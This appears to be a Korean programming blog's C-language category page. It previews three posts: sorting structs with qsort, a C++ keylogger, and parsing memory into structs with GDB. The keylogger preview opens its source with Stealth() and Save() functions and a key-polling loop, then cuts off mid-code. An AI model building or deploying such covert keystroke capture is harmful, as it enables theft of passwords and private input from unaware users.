프로그래밍/C언어3 qsort 를 구조체에서 이용해 보자. ( 포인터 활용 ) 똑똑하게 살고싶은 안또 입니다 📗 일반적으로 구조체 정렬에 qsort를 이용하기 위해서 typedef int (typechange*)(const void *, const void *); 이라는 함수포인터를 선언하여서 처리하는 경우가 많다. 하지만 다음 예제는 함수포인터가 아닌 '포인터'를 이용하는 예제이다. 11~12 라인을 보면 void형으로 받아들인 자료를 mystruct * 을 선언하여 a를 mystruct * 형으로 변환시키는 것을 확인할 수 있다. 그리하면 const void * a에서는 구조체 표현 (. , ->)를 사용할 수 없었는데, tmpa는 mystruct 형태이므로 구조체 표현( -> )를 사용할 수 있게 된다. 다음 예제를 실행해 보면 함수포인터를 이용하지 않아도 qsor.. 2025. 6. 15. C++을 이용한 간단한 키로그 프로그램 똑똑하게 살고싶은 안또 입니다 📗 C/C++ 에서 간단하게 키보드 입력을 가로챌 수 있는 키로그 프로그램 입니다. 옛날에 채팅서버 공부용으로 했던 코드네요.이정도 코드는 2025년에는 ChatGPT 가 해줄 수 있을것 같긴 하지만 그래도 남겨놉니다.#include using namespace std; #include #include int Save (int key_stroke, char *file);void Stealth();int main(void) { Stealth(); char i; while (1) { for(i = 8; i 2025. 6. 15. GDB 를 이용한 구조체 파싱 방법 임베디드 세상에서 놀다 보니 hex memory (byte) 데이터를 구조체로 변경해서 봐야 할 일이 아주 많습니다. 디버거를 물려서 보면 가장 베스트인데, 임베디드 개발중에 디버거는 아주 사치인 경우가 많죠 .... 맨날 눈으로 파싱해서 볼려니 머리가 아파가지고, GDB 연동해서 바로 구조체 파싱 하는 법을 보도록 하겠습니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include #include typedef struct testa { int a; int b; }testa; typedef struct testb { short int c; short int d;.. 2019. 9. 14. 이전 1 다음